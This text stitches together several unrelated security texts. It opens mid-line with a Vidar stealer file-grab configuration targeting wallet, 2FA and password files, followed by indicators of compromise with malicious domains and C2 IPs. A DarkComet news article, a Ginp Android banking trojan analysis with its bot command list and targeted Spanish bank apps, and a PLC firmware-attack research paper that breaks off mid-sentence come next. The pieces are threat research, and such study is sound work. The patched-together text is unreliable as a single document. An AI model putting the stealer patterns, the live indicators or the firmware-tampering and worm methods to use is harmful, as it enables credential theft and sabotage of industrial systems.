1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*c ``` ## Social Media Abuse for C2 Communication All binaries involved in this campaign fetch the IP addresses of the C2 servers from attacker-registered social media accounts on Telegram and Mastodon networks. The threat actors have abused other social media networks such as Mastodon, with the abuse of Telegram being a new tactic. ### Telegram Abuse The threat actor created several Telegram channels with the C2 IP address in the channel description. The format used to store the C2 IP address on social media profiles is: ``` <C2_Url_Marker> <C2_IP_address>| ``` ### Mastodon Network Abuse The Mastodon network allows anyone to deploy their own instance of a self-hosted online community. The threat actor created profiles on these communities and stored the C2 IP address in the profile section using a format similar to the one used for Telegram channels. ## Conclusion The threat actors distributing Vidar malware have demonstrated their ability to social engineer victims into installing Vidar stealer using themes related to the latest popular software applications. Users should be cautious when downloading software applications from the Internet and download software only from official vendor websites. The Zscaler ThreatLabZ team will continue to monitor this campaign to help keep customers safe. ## Indicators of Compromise ### Hashes - `52c47fdda399b011b163812c46ea94a6` - `da82d43043c101f25633c258f527c9d5` - `e9a3562f3851dd2dba27f90b5b2d15c0` - `6ae17cb76cdf097d4dc4fcccfb5abd8a` ### Domains - `ms-win11[.]com` - `ms-win11.midlandscancer[.]com` - `win11-serv4[.]com` - `win11-serv[.]com` - `win11install[.]com` - `ms-teams-app[.]net` ### URLs for Fetching C2 Addresses - `https://t.me/btc20220425` - `https://ieji.de/@ronxik213` - `https://koyu.space/@ronxik123` - `https://t.me/mm20220428` ### URLs for Fetching ISO Files - `files.getsnyper[.]com/files/msteams/Setup.iso` - `files.getsnyper[.]com/files/windows11/Setup.iso` - `files.getsnyper[.]com/files/msteamsww/Setup.iso` ### Actual C2s - `195.201.250.209` - `107.189.11.124` - `5.252.178.50` ## Appendix ### Decoded Strings - Wallets - Plugins - Various file paths and configurations related to different applications and browsers.
# How the Boy Next Door Accidentally Built a Syrian Spy Tool Robert McMillan Jean-Pierre Lesueur is in many ways a typical 22-year-old computer geek. He lives outside of Paris, coding Java by day for a European company that processes airline tickets. He likes playing the piano and reading Stephen Hawking. But he's also the man who built Dark Comet – which was recently used by the Syrian government to steal information from the computers of activists fighting to overthrow it. Dark Comet is a software application that gives you remote control over another computer, and Lesueur says he wrote it just to prove his programming cred. That meant sharing the thing with the rest of the world, and after the Syrian government grabbed the tool from the net, Lesueur found himself at the center of an international firestorm. He spoke with Wired Tuesday via online chat. Sometimes, the boy next door can become a tool in a state-sponsored cyberespionage campaign. That's the power of the internet. Although it was first developed in 2008, Dark Comet mostly stayed under the radar until it was linked to Syria earlier this year. Although Lesueur says he never intended it to be used illegally, Dark Comet is not the type of program anyone would want to discover on their PC. In short, it's a silent spying machine. There's a password-stealing keylogger and a feature that helps it avoid detection by antivirus products. Dark Comet can be used for spying, too, quietly recording video and audio from a computer once it's installed. According to Lesueur, Dark Comet is no worse than other hacking tools such as Metasploit or BackTrack Linux, which can be used both by legitimate security testers and criminals to launch online attacks against computers and test networks for security flaws. Dlshad Othman first learned about Dark Comet in December, when a Syrian activist asked him to examine her computer after losing access to her e-mail, Skype, and Facebook account. After a scan, Othman discovered Dark Comet sitting on the machine's hard drive. Dark Comet was another tool in an escalating computer espionage campaign targeting critics of the regime of Syrian President Bashar Assad. "Because most of the Syrian people started to use secure connections and they [learned how to bypass] the censorship and surveillance of the internet, so the regime found it’s better to use Trojans to arrest the people," says Othman, a Syrian activist and computer specialist who is also one of the U.S. State Department's Internet Freedom Fellows. He and other activists believe that the information stolen via Dark Comet led to many arrests within Syria. Once one computer is infected, hackers use that activist's computer as a stepping stone to try and infect others, typically by contacting them via Skype. That's what happened to "Osama," an activist in Damascus who declined to give his last name. About five months ago, a doctor friend of his received a file via Skype that appeared to have something to do with medicine and the Syrian revolution. "His account started to send this file to his contacts (including me) and as he is a doctor, many of his contacts trusted this file," he said. Osama doesn't know for certain that his friend was infected with Dark Comet, but it's very likely that he was. Researchers say that between November and May, this was a preferred remote access tool of the Syrian regime. Morgan Marquis-Boire – a researcher with Citizen Lab, a computer security research think-tank – has identified 16 separate pieces of malicious software that use Dark Comet to send information back to computers located in Syria. Typically these are Trojan horse programs, designed to look like legitimate files that activists would want to read. The Trojan might look like a .pdf file or a Skype encryption tool, but it silently installs Dark Comet in the background. Dark Comet is known as a remote administration tool. Security experts call it a RAT. Dark Comet was packaged with malicious software that would quietly install it when victims opened this .pdf. As word of Dark Comet's use got out, Lesueur's part-time project suddenly came under the spotlight. The Electronic Frontier Foundation, antivirus companies, and online activists "kept up steady stream of postings and reports of the use of Dark Comet in Syria," says John Scott-Railton, a doctoral student at UCLA School of Public Affairs who has worked closely on the issue of malicious software in Syria. "I don't think that this amount of pressure has ever been placed on the developer of a RAT before. I can't imagine that [Lesueur] expected anything like this to come from his project." At first, Lesueur wrote a removal tool, so victims could uninstall Dark Comet, but he kept the project alive. But by the end of June, he was afraid. Though he wasn't the one doing the illegal activity, it was clear that his software was being misused – not just by the Syrian government, but by untalented hackers Lesueur calls "script-kiddies." He started to worry about being arrested. So on June 28, he took down Dark Comet. "I removed all before one day it happened," he says. "I don't want to lose my life for such a little thing." Lesueur says the Syrian use was a factor in his decision to pull Dark Comet, but not the only one. He won't spell out the exact reason he was worried about his arrest, but two days earlier, one of the apparent authors of another remote-access tool called Blackshades was arrested in Tucson, Arizona, on hacking and malware distribution charges. That arrest may have scared Lesueur, says Kevin Mitnick, a well-known information security consultant. Lesueur says that it did not affect his decision. "The Blackshades author was in charge of a carding operation," he says. "It's not the same." Blackshades, coincidentally, is now being used against the Syrian activists much in the same way that Dark Comet was, says Marquis-Boire. Mitnick, who has used Dark Comet in security demonstrations, doesn't think Lesueur should have abandoned his tool because it was being used illegally. "I don't think that's a good reason to stop development on it, because you always have bad actors," he says. "That's just a fact of life." This isn't the first time that a software developer has dropped a tool after getting some heat. But what's unusual is that Lesueur has been remarkably candid about everything, using his real name, talking about himself in detail, and explaining why he created the tool. Lesueur – who cut his teeth in an underground Trojan and RAT-writing forum called OpenSC – says that although he made about 2,000 euros offering technical support for Dark Comet, he didn't charge for the software and was never in it for the money. He's now working on a new remote access tool that doesn't include the controversial spying features that were in Dark Comet. After Lesueur pulled Dark Comet, Kevin Mitnick asked him if he'd ever consider selling the source code to the tool. Lesueur said no. "I don’t think he was out for money," Mitnick says. "I don't think he was doing anything illegal." Lesueur says he just wanted to make a name for himself in the hacker scene. "The whole development process of Dark Comet was a challenge for myself," he says. "I never imagined it would be used by a government for spying," he said. "If I had known that, I would never have created such a tool."
# Ginp - A Malware Patchwork Borrowing from Anubis ## Intro ThreatFabric analysts have recently investigated an interesting new strain of banking malware. The malware was first spotted by Tatyana Shishkova from Kaspersky by the end of October 2019, but actually dates back to June 2019. It is still under active development, with at least 5 different versions of the Trojan released within the last 5 months (June - November 2019). What makes Ginp stand out is that it was built from scratch, being expanded through regular updates, the last of which included code copied from the infamous Anubis banking Trojan, indicating that its author is cherry-picking the most relevant functionality for its malware. In addition, its original target list is extremely narrow and seems to be focused on Spanish banks. Last but not least, all the overlay screens (injects) for the banks include two steps: first stealing the victim’s login credentials, then their credit card details. Although multi-step overlays are not something new, their usage is generally limited to avoid raising suspicion. ## Evolution The initial version of the malware dates back to early June 2019, masquerading as a “Google Play Verificator” app. At that time, Ginp was a simple SMS stealer whose purpose was only to send a copy of incoming and outgoing SMS messages to the C2 server. A couple of months later, in August 2019, a new version was released with additional banking-specific features. This and following versions were masquerading as fake “Adobe Flash Player” apps. The malware was able to perform overlay attacks and become the default SMS app through the abuse of the Accessibility Service. The overlay consisted of a generic credit card grabber targeting social and utility apps, such as Google Play, Facebook, WhatsApp, Chrome, Skype, Instagram, and Twitter. Although early versions had some basic code and string obfuscation, protection of the third version of the malware was enhanced with the use of payload obfuscation. The capabilities remained unchanged, but a new endpoint was added to the Trojan C2 allowing it to handle the generic card grabber overlay and specific target overlays (banking apps) separately. In addition, the credit card grabber target list was expanded with Snapchat and Viber. In the third version spotted in the wild, the author introduced parts of the source code of the infamous Anubis Trojan (which was leaked earlier in 2019). This change came hand in hand with a new overlay target list, no longer targeting social apps, but focusing on banking instead. A remarkable fact is that all the targeted apps relate to Spanish banks, including targets never seen before in any other Android banking Trojan. The 24 target apps belong to 7 different Spanish banks: Caixa bank, Bankinter, Bankia, BBVA, EVO Banco, Kutxabank, and Santander. The most recent version of Ginp (at the time of writing) was detected at the end of November 2019. This version has some small modifications which seem to be unused, as the malware behavior is the same as the previous version. The author has introduced the capability to grant the app the device admin permission. Additionally, a new endpoint was added that seems related to downloading a module for the malware, probably with new features or configuration. ## How it Works When the malware is first started on the device, it will begin by removing its icon from the app drawer, hiding from the end user. In the second step, it asks the victim for the Accessibility Service privilege. Once the user grants the requested Accessibility Service privilege, Ginp starts by granting itself additional permissions, such as (dynamic) permissions required in order to be able to send messages and make calls, without requiring any further action from the victim. When done, the bot is functional and ready to receive commands and perform overlay attacks. The commands supported by the most recent version of the bot are listed below. As can be observed, the possibilities offered by the bot are pretty common. | Command | Description | |----------------------------------|--------------------------------------------------------------| | SEND_SMS | Send an SMS from the bot to a specific number | | NEW_URL | Update the C2 URL | | KILL | Disable the bot | | PING_DELAY | Update interval between each ping request | | CLEAN_IGNORE_PKG | Empty list of overlayed apps | | WRITE_INJECTS | Update target list | | READ_INJECTS | Get current target list | | START_ADMIN | Request Device Admin privileges | | ALL_SMS | Get all SMS messages | | DISABLE_ACCESSIBILITY | Stop preventing user from disabling the accessibility service| | ENABLE_ACCESSIBILITY | Prevent user from disabling the accessibility service | | ENABLE_HIDDEN_SMS | Set malware as default SMS app | | DISABLE_HIDDEN_SMS | Remove malware as default SMS app | | ENABLE_EXTENDED_INJECT | Enable overlay attacks | | DISABLE_EXTENDED_INJECT | Disable overlay attacks | | ENABLE_CC_GRABBER | Enable the Google Play overlay | | DISABLE_CC_GRABBER | Disable the Google Play overlay | | START_DEBUG | Enable debugging | | GET_LOGCAT | Get logs from the device | | STOP_DEBUG | Disable debugging | | GET_APPS | Get installed applications | | GET_CONTACTS | Get contacts | | SEND_BULK_SMS | Send SMS to multiple numbers | | UPDATE_APK | Not implemented | | INJECT_PACKAGE | Add new overlay target | | CALL_FORWARD | Enable/disable call forwarding | | START_PERMISSIONS | Starts request for additional permissions | ## Features The most recent version of Ginp has the same capabilities as most other Android banking Trojans, such as the use of overlay attacks, SMS control, and contact list harvesting. Overall, it has a fairly common feature list, but it is expected to expand in future updates. Since Ginp is already using some code from the Anubis Trojan, it is quite likely that other, more advanced features from Anubis or other malware, such as a back-connect proxy, screen-streaming, and RAT will also be added in the future. Ginp embeds the following set of features, allowing it to remain under the radar and successfully perform attacks: - Overlaying: Dynamic (local overlays obtained from the C2) - SMS harvesting: SMS listing - SMS harvesting: SMS forwarding - Contact list collection - Application listing - Overlaying: Targets list update - SMS: Sending - Calls: Call forwarding - C2 Resilience: Auxiliary C2 list - Self-protection: Hiding the App icon - Self-protection: Preventing removal - Self-protection: Emulation-detection ## Update 10/03/2020 At the end of February, the actors behind Ginp added screen capture capabilities to their Trojan. Like previously added functionality, the code is borrowed from the leaked Anubis Trojan source code. It enables the bot to stream screenshots and send them to the C2 so that actors can see what is happening on the screen of the infected device. ## Overlay Attack Ginp uses the Accessibility Service to check which application runs in the foreground. If the package name of the foreground app is included in the target list, an overlay is shown. The WebView-based overlay is loading an HTML page provided by the C2 in response to the package name provided by the bot. Something that makes Ginp special is that all of its overlay screens for banking apps consist of multiple steps, first stealing the victim’s login credentials, then stealing the credit card details (to “validate” the user identity). ## Targets The initial version of Ginp had a generic credit card grabber overlay screen used for all targeted applications. Still included in the last versions, this screen is only used to overlay the official Google Play Store app. More apps could be added to the grabber target list in the future. The current active target list is available in the appendix, containing a total of 24 unique targets. ## Based on Anubis Once the Anubis bot code got leaked, it was just a matter of time before new banking Trojans based on Anubis would surface. When analyzing Ginp’s recent samples, ThreatFabric analysts found some similarities with the famous Android banking Trojan. Based on the evolution of Ginp, it is clear that it isn’t based on Anubis, but rather reuses some of its code. Below are some of the elements showing the relation. The names used for Android components are similar. When analyzing these components, similarities were found in the code of both malware families. Another major change that indicated that the actor copied code from the Anubis Trojan is the way of handling configuration values. Previous versions were storing config values within the variables of a class, while the latest version is using SharedPreferences with some of the keys being identical to those used by Anubis: - isAccessibility - time_work - time_start_permission - url_inj ## Conclusion Ginp is a simple but rather efficient banking Trojan providing the basic functionality to be able to trick victims into delivering personal information. In a 5-month timespan, the actor managed to create a Trojan from scratch which will presumably continue evolving, offering new features such as keylogging, back-connect proxy, or RAT capabilities. Ginp’s unusual target selection is not just about its focus on Spanish banks but also the wide selection of targeted apps per bank. The fact that the overlay screens are almost identical to the legitimate banking apps suggests that the actors might be very familiar with the Spanish banking applications and might even be accustomed to the language. Although the current target list is limited to Spanish apps, it seems that the actor is taking into account that the bot should also be able to target other countries, seeing that the path used in the inject requests contains the country code of the targeted institution. This could indicate that the actor already has plans to expand the targets to applications from different countries and regions. ## Mobile Threat Intelligence Our threat intelligence solution – MTI, provides the context and in-depth knowledge of the past and present malware-powered threats in order to understand the future of the threat landscape. Such intelligence includes both the strategic overview on trends and the operational indicators to discern early signals of upcoming threats and build a future-proof security strategy. ## Client Side Detection Our online fraud detection solution – CSD, presents financial institutions with the real-time overview on the risk status of their online channels and related devices. This overview provides all the relevant information and context to act upon threats before they turn into fraud. The connectivity with existing risk or fraud engines allows for automated and orchestrated, round-the-clock fraud mitigation. ## Appendix ### Samples Some of the latest Ginp samples found in the wild: | App Name | Package Name | SHA-256 Hash | |------------------|----------------------------------|--------------------------------------------------------| | Google Play | sing.guide.false | 0ee075219a2dfde018f17561467272633821d19420c08cba14322cc3b93bb5d5 | | Verificator | park.rather.dance | 087a3beea46f3d45649b7506073ef51c784036629ca78601a4593759b253d1b7 | | Adobe Flash | ethics.unknown.during | 5ac6901b232c629bc246227b783867a0122f62f9e087ceb86d83d991e92dba2f | | Player | solution.rail.forward | 7eb239cc86e80e6e1866e2b3a132b5af94a13d0d24f92068a6d2e66cfe5c2cea | | | com.pubhny.hekzhgjty | 14a1b1dce69b742f7e258805594f07e0c5148b6963c12a8429d6e15ace3a503c | | | sentence.fancy.humble | 78557094dbabecdc17fb0edb4e3a94bae184e97b1b92801e4f8eb0f0626d6212 | ### Target List The current list of apps observed to be targeted by Ginp contains a total of 24 unique applications as seen below. This list is expected to grow in the future. | Package Name | Application Name | |------------------------------------------------|----------------------------------------------------| | com.android.vending | Play Store | | es.lacaixa.hceicon2 | CaixaBank Pay: Mobile Payments | | es.lacaixa.mobile.android.newwapicon | CaixaBank | | es.caixabank.caixabanksign | CaixaBank Sign - Digital Coordinate Card | | es.caixabank.mobile.android.tablet | CaixaBank Tablet | | com.imaginbank.app | imaginBank - Your mobile bank | | es.lacaixa.app.multiestrella | Family | | com.bankinter.launcher | Bankinter Móvil | | com.bankinter.bkwallet | Bankinter Wallet | | com.bankinter.coincwallet | COINC Wallet | | com.bankinter.bankintercard | bankintercard | | es.cm.android | Bankia | | com.bankia.wallet | Bankia Wallet | | es.cm.android.tablet | Bankia Tablet | | com.bbva.bbvacontigo | BBVA Spain | | com.bbva.netcash | BBVA Net Cash | ES & PT | | es.evobanco.bancamovil | EVO Banco móvil | | com.redsys.bizum | EVO Bizum | | com.kutxabank.android | Kutxabank | | es.redsys.walletmb.app.kutxa.pro | KutxabankPay | | es.bancosantander.apps | Santander | | es.banconsantander.app.tablet | Santander Tablet | | es.bancosantander.android.confirming | Confirming Santander | | com.tm.sanstp | Santander Cash Nexus |
# Field Device Ethernet Card Vulnerabilities ## Leveraging Ethernet Card Vulnerabilities in Field Devices **Daniel Peck, Dale Peterson** Digital Bond, Inc. Fort Lauderdale, Florida {peck, peterson}@digitalbond.com **Abstract:** Field devices essential for monitoring and control in DCS and SCADA systems are increasingly being deployed with Ethernet cards to connect these devices to local and wide area IP networks. Many of the Ethernet cards have their own CPU, memory, operating system, and applications. Field device vendors are also providing the capability to upgrade or replace the firmware in these Ethernet cards. Unfortunately, in most cases, there is no effective security on the firmware upload to the field device Ethernet cards. In this paper, the authors demonstrate how, using commonly available tools, an attacker can learn how firmware is loaded into two different field device Ethernet cards, write his own malicious firmware, and load that malicious firmware into the field device Ethernet cards. After this proof of concept malicious firmware load, the authors discuss different classes of attacks that could be launched against the process being controlled, other field devices, and other systems on the control system network. The paper concludes with a brief discussion and examples of vulnerabilities in common management services, such as HTTP, FTP, and SNMP, found on many field device Ethernet cards. **Keywords:** Unauthenticated Firmware Upload, PAC, PLC, RTU, Controller, Field Device, Field Device Worm, Field Device Ethernet Card ## 1 Introduction Field devices are critical components of control systems. They communicate with sensors and actuators to monitor and control a process. The increasing computing power and capabilities in field devices allow asset owners to push more intelligence to these field devices, and they become much more than communication devices between an HMI or control center and the sensors and actuators on the plant floor or field site. Common terms for field devices include Programmable Logic Controllers (PLC), Programmable Automation Controllers (PAC), Remote Terminal Units (RTU), and Intelligent Electronic Devices (IED). As with most control system components, field devices were designed for a closed, trusted network with little thought for security. If an attacker can ping the typical field device and has a client or HMI to communicate with the field device, he can send any read, write, diagnostic, or configuration command to the field device. This is due to a lack of source or data authentication in most control system protocols. Some examples of control system protocol-based attacks include: - Writing new values to set points, thereby changing the process - Rebooting the field device continuously to affect availability - Setting the field device to listen-only mode so it will not respond to requests Digital Bond has developed network Intrusion Detection System (IDS) signatures that have been integrated into most commercial IDS sensors to identify these attacks for Modbus TCP, DNP3, and ICCP. A similar lack of security features is often found in non-control system protocols such as Telnet, FTP, HTTP, and SNMP that are used to manage a field device. Some field devices support one or more user accounts for login, but even this feature is rarely used. Beyond demonstrating the ease in exploiting an insecure control system or management protocol, most field device security analysis and testing to date has involved fuzz testing the field device’s protocol stack. Unfortunately, many field devices have failed even minor fuzz testing of Ethernet, IP, and TCP/UDP protocols. Some have even failed when legitimate, properly formatted broadcast and multicast packets are sent to the field device. Failure most often is a crash of the Ethernet interface or the entire field device and requires a reboot to resume normal operations. Given this extremely vulnerable state of most field devices, why is further testing or analysis of exploits warranted? For at least two reasons: 1. A knowledgeable attacker could stage an attack for a time and purpose with maximum impact, and this could be done well after the compromise. This paper will discuss some potentially devastating scenarios. 2. A compromised field device can be used as an attack platform for other elements in the network. There are tens or hundreds of field devices in control systems that could be used for individual or coordinated attacks. Imagine a distributed denial of service (DDoS) from the field devices on all servers and workstations in the control center. A field device is also less likely to be analyzed for its security posture compared to an HMI running Windows or a server running Unix. This is analogous to the use of compromised printers as an attack platform in a corporate network. The easiest point of field device access for a cyber attacker is the Ethernet card. Many of these cards have their own CPU, RAM, and operating system. The computers on these cards can be attacked and often exploited. Once exploited, they can be used to attack the CPU and other cards on the field device as well as other devices on the control system LAN and WAN. This paper describes different classes of attacks on field device Ethernet cards, sample vulnerabilities found in numerous field devices and corresponding exploits, and the potential consequences of these exploits assuming a knowledgeable attacker. ## 2 Rogue Firmware Load Many field devices allow the firmware to be updated over the network. This is also often true of field device Ethernet cards with their own computing resources. A remote firmware update can be very useful, especially in a geographically dispersed SCADA network, for recovery from system corruption, patching newly discovered problems, or updating the field device software with new features. It can also be very useful for an attacker if it is not properly authenticating the source and data being uploaded prior to accepting and loading this new firmware. In the multiple field devices that Digital Bond has in its lab, not one of these field devices authenticates the source or data prior to accepting and loading the firmware. If it is possible for a legitimate user to upload new firmware over the network, it is possible for an attacker, with some work at the assembly code level and logical access to the field device, to upload his own firmware. In Section 2, the authors will describe the steps required to load arbitrary firmware on two different systems and some possible ways an attacker might use this capability beyond simply attacking the selected field device. It is important to note that this problem is widespread and goes much beyond these two systems. Any vendor or asset owner that has field devices that allow unauthenticated or weak authentication firmware uploads should be concerned and contact their vendor for guidance and a solution. ### 2.1 Systems Described Our test devices for this research were the Rockwell 1756 ENBT Ethernet module and the Koyo H4-ECOM100 Ethernet module. While similar in functionality, these devices were built on very different platforms. The 1756 ENBT module is a PowerPC device running a VxWorks 5.5 operating system, intended to be managed primarily by the RSLogix family of products. Services available on the device include EtherNet/IP, HTTP, and SNMP. FTP is also available with a little more work, as we’ll discuss later. The H4-ECOM100 module is a device based on a Nios Altera Field Programmable Gate Array (FPGA) chipset. The services available on this device include HTTP and MODBUS/TCP. While the web interface on the 1756 ENBT is intended almost exclusively for displaying diagnostic information, the H4-ECOM100 web server is used extensively for configuration and maintenance activities. ### 2.2 Learning and Exploiting the Load We began the process by obtaining several sets of firmware images from the Rockwell vendor site. Several versions were downloaded to allow for comparison, to help in identifying static fields, and various “special” locations in the firmware. Our first step in the analysis was to examine the binaries themselves. In this analysis, we find several different segments, some with readable text, that appear to be some of the web pages that the device serves. These appear to exist in a CISF FTL partition, which is similar enough to FAT16. These will be investigated later, but for now we will move on and continue looking for the actual code that gets executed. Using a tool developed by Matasano named deezee, we scan the firmware image looking for zlib compressed sections, and we get a hit. Pulling this into our hex editor and examining some strings, we find what appears to be some symbol names, such as AB_Exit at 0x001ef0b4 and AB_Init at 0x001ef0ac. These seem interesting, but we have to find the offset table to be able to do anything very useful. Looking through the file, we notice a very regular ten-byte pattern beginning at 0x001fbdf8. The first address looks a lot like the address of AB_Exit, and the second one looks a lot like the address of AB_Init. Some quick subtraction and we find that our load address is 0x00100000, and it looks like the next entry in that repeating pattern is the address of the code itself. We’re almost ready to begin some real analysis, but first we have to know what kind of processor this code was meant to run on. Our first guess was that it was on an ARM chip, but looking at the firmware dump we see r0, sp, r2, and quite a few others; we have our answer, a PowerPC processor. We have loaded the file into the IDA PRO disassembler and debugger program and rebased the image. Now after a little scripting to add the rest of the symbols into our firmware image, we can get down to business on understanding the rest of the firmware file structure and any validation routines it might have in place. The function nv_RamValidateChecksumsWriteFlash that makes two calls to ffs_CalcChecksum looks interesting, and here is where we begin to really understand the inner workings of the device. Reverse engineering the disassembly, we find two checksums: a 2-byte sum or 2-byte halfwords of the header, and a 2-byte sum of 2-byte halfwords of the remainder of the file. So we have the header of the file, 2-byte header checksum at 0x0, 4 bytes data offset at 0xc, 4-byte data size at 0x10, and 2-byte data checksum at 0x14. With this knowledge, we are able to change the external “wrapper” portion of the firmware as we see fit, including the web pages stored there, and upload it with the ControlFlash program provided by the vendor so customers can load new firmware. The authors developed proof of concept shellcode that makes use of the “PING” function already in the 1756 ENBT module. This is much like making use of a system call on a Windows operating system. Being careful not to disrupt the current functions of the device, we have embedded this code into a portion of the FTP server code. The 1756 ENBT module now pings a specified IP address while continuing to perform its designed purpose for the Logix PAC. This ping is meant only as a demonstration that an attacker with logical access could load and run arbitrary firmware on the 1756 ENBT module due to a lack of any source or data authentication. Since the card has significant unused memory and processing power, an attacker could load and run much more substantial and dangerous code on the module within a reasonable amount of development time. The vendor’s ControlFlash program was used to make the upload easier, but we could have developed our own flash upload utility if necessary. The process of learning and exploiting the load with the Koyo/AutomationDirect H4-ECOM100 module was similar. In fact, the process was similar for all of the field devices in our lab that had a firmware upload lacking in source and data authentication. With firmware images and utilities found on the AutomationDirect.com website and the commonly used packet capture utility, Wireshark, we find that the firmware is upgraded using a protocol that Wireshark doesn’t know about. We need more information on this upload protocol. One thing that is common in all the messages is they begin with “HAP”. We could not find information on this protocol on the Koyo or Automation Direct websites. However, an Internet search revealed a document that described the protocol and ECOM interface in some detail. Examining the firmware images gives us clues about the internals of the module. “Nios OS” is a good bit of information that it runs on the NIOS embedded FPGA processor from Altera. Looking further into the firmware upload procedure, we find that the upgrade program, netedit, seems to work over UDP broadcast protocol. However, with further investigation, we find that this is a weakness of the program and not a weakness of the protocol itself. We find the same lack of source and data authentication on firmware uploads in the Koyo system as found in the Rockwell Automation PAC. In fact, the Koyo PLC firmware upload appears to even lack a checksum. As a proof of concept for malicious firmware upload, we uploaded modified web pages that are available from the ECOM module. While it is bad enough that these systems can be so easily compromised, an even greater concern is that as long as the compromised field device is still functioning as expected, the asset owner could be completely oblivious to the fact that many or even all of the field devices in the control system have been compromised. Extrapolating out from this and working with other devices, we have found similar results. Over the network, firmware uploads are, in general, not authenticated or otherwise protected in any meaningful way. Typically, a checksum is used to authenticate the integrity from a non-malicious load integrity standpoint. This checksum offers little protection from a motivated and moderately skilled attacker. Many field devices use different and more obscure processors than what an average attacker would see in the PC-dominated corporate world. While the obscurity of a processor can make potential attackers work harder to investigate, develop, and implement a malicious firmware upload to a field device, it is not a safeguard. Much work has been done on similar platforms by the gray and black hat community, such as home switches and routers, and that knowledge will transfer over easily for future field device hackers. Even this security by obscurity is becoming less of a deterrent. Many field devices are moving to Intel x86 chips as well as more common operating systems such as embedded XP or embedded Linux. While these are not necessarily easier to develop firmware uploads for, there are many more attackers and tools available to help an attacker exploit these systems. It will take less specialized knowledge and less expensive tools to attack a field device on an x86 platform compared to a field device with an ARM. ### 2.3 Attacking the PLC As mentioned in the Introduction section, logical access to most field devices allows an attacker to read and write to the device. So what benefit is there in uploading new firmware over directly monitoring the sensors and controlling the actuators and other instruments in real time? The answer to this question is limited only by imagination. Here are a few scenarios to illustrate the benefit to an attacker. #### 2.3.1 Delayed Attack An attacker may want to stage an attack in advance and have it ready to launch at a time that is particularly damaging. Imagine an attack on a region’s power system that caused an outage at 11:58 on New Year’s Eve, on election day, or at the start of a big event like the Olympics. The malicious firmware upload could allow normal operations until a certain time and date and then launch a scheduled attack. A delayed attack scenario could be coordinated between multiple field devices that had been exploited with a malicious firmware upload that set up a cron job to run at a specific time. These could be field devices across a single control system or even field devices in multiple control systems. Another benefit of the delayed attack is it would be substantially harder for an asset owner to determine what caused the outage or incident. A review of recent traffic to and from the field device, if this were even available, would not show the firmware upload. Depending on the nature of the attack, there is a good chance that the asset owner would not even realize a cyber attack took place. It could be made to look like a hardware failure, communications error, or some other non-malicious cause. Finally, a delayed attack can address the situation of an attacker losing access to the field device. Imagine a malicious firmware upload that required a message from the attacker on a monthly basis or an attack would be launched. This attacker may want to have the capability to bring down part of the critical infrastructure or a particular organization he holds a grudge against, but chooses to reserve that capability for an unspecified future need. If the asset owner has improved perimeter security and the attacker no longer has access to field devices he owned, his capability to schedule an attack is lost, but the attack would launch within a month. #### 2.3.2 Brick the Ethernet Card The malicious firmware could be programmed for an Ethernet card failure that required a return to factory settings by removing the ability to reload new firmware and removing the proper firmware capabilities—turning the card into essential dead weight or a brick. A single Ethernet card failure is unlikely to cause much of a problem for an organization mindful of redundancy and recovery requirements in a control system. Spares would be available. However, it will take time to replace the card, especially in a geographically dispersed SCADA system. If this attack was made on Ethernet cards in a large number of controllers, this could exhaust the spares and cause availability problems to travel and replace numerous simultaneous Ethernet card failures. #### 2.4 “Random” Attack or Failures An attacker’s goal may not be to cause an outage that affects a large number of people. The attacker may not want to shut down power to a region or affect the ability of a large city to get gasoline or water. This level of impact may be more than the attacker desires, and the consequences of getting caught performing such an attack are likely to prevent many potential attackers as discussed in the Langner and Singer paper. For an attacker, perhaps a disgruntled insider, who just wants to make difficulties for the operators and engineers, a “random” attack or failure mode may be more interesting. The attacker could load malicious firmware into multiple field devices and have a pseudo-random number generator select the attack and the attack time. Imagine the case where the malicious software could temporarily make the device unavailable, brick the card, send false data back to the control center, make process changes, or simply reboot the system multiple times. The random number could select the attack from the list, a second number could select the attack start time and date, and a third random number could select the attack duration. Troubleshooting these problems could be made very difficult if the field device returned the expected information, such as version number and checksum, during diagnostic tests. The malicious software could also prevent the loading of new firmware onto the Ethernet card without a special code or authentication mechanism. The malicious firmware could be programmed to issue a response that indicated the asset owner had successfully loaded new firmware, perhaps even modifying the firmware version number returned when requested, while in fact the malicious firmware remained intact. #### 2.5 A Field Device Worm Each field device has its own set of software and methods to program, configure, and manage the system. Once an asset owner has purchased and learned to configure and program a field device, they are likely to purchase additional field devices of the same model. While it is not unusual for an asset owner to have a variety of field devices, it is typical that they will have tens or hundreds of each vendor model. Since the unauthenticated firmware upload allows an attacker to load malicious code on the field device, the attacker may be interested in identifying all field devices of the same model and compromise all of them. This is achievable with a field device worm designed to take advantage of the lack of source and data authentication of a field device firmware upload. As an example, imagine an attacker has identified an Allen Bradley field device on the network. Since these devices typically use the EtherNet/IP protocol on TCP/44818, they are easy to identify on a network with a port scan of that port. A worm can be written that would: 1. Port scan to identify other systems with EtherNet/IP ports that are open 2. Attempt to load the attacker’s firmware on all identified EtherNet/IP systems 3. Report back to the master after the system is compromised 4. Standby for future instructions or take preprogrammed actions An attacker would be in a similar situation to attackers that have control of an army of bots, except they would be on a control system network. #### 2.6 Attack Other Cards on the Field Device While the Ethernet card is the most accessible to an attacker or malware, it is not the most important card in a field device. In fact, many control systems today use the field device Ethernet card for maintenance and still rely on serial communication cards for SCADA system monitoring and control. This is likely to be less common over time as more asset owners move to an IP WAN for their SCADA systems. The most important card in field devices is typically the CPU card. If this card is not functioning properly, the entire field device will not function. Some CPU cards also support a remote firmware update through the Ethernet card. The CPU card may have a different computing architecture, different load utility, and other differences from the Ethernet card, but it also may be identical. Perhaps the simplest attack on the CPU card is a denial of service attack that could brick this CPU card. Imagine a case where the Ethernet card is compromised with rogue firmware that periodically, or perhaps pseudo-randomly, uploads firmware to the CPU card that bricks the CPU card. The asset owner would replace the CPU card, but the underlying problem would remain in the Ethernet card. #### 2.7 Attack Other Systems The attacks discussed in Section 2 to this point have focused on attacking the field devices to affect the monitoring and control of the process. However, one or more compromised systems on a control center LAN or WAN provide an attack platform to go after other systems on the SCADA or DCS, such as workstations or servers. Field devices are usually not considered as potential attack platforms. They are not patched or upgraded frequently; typical asset owners do not worry about security patches, anti-virus, and security configuration issues with field devices nearly as much as they do for a Windows HMI; they are deployed and often not touched for years. In many ways, these field devices are similar to printers on a corporate network. They are computing platforms spread throughout the network that are treated like appliances rather than computing devices. One of the common findings in control system security assessments is missing security patches. It is not unusual to find Windows systems missing patches for many years. An asset owner who is diligently 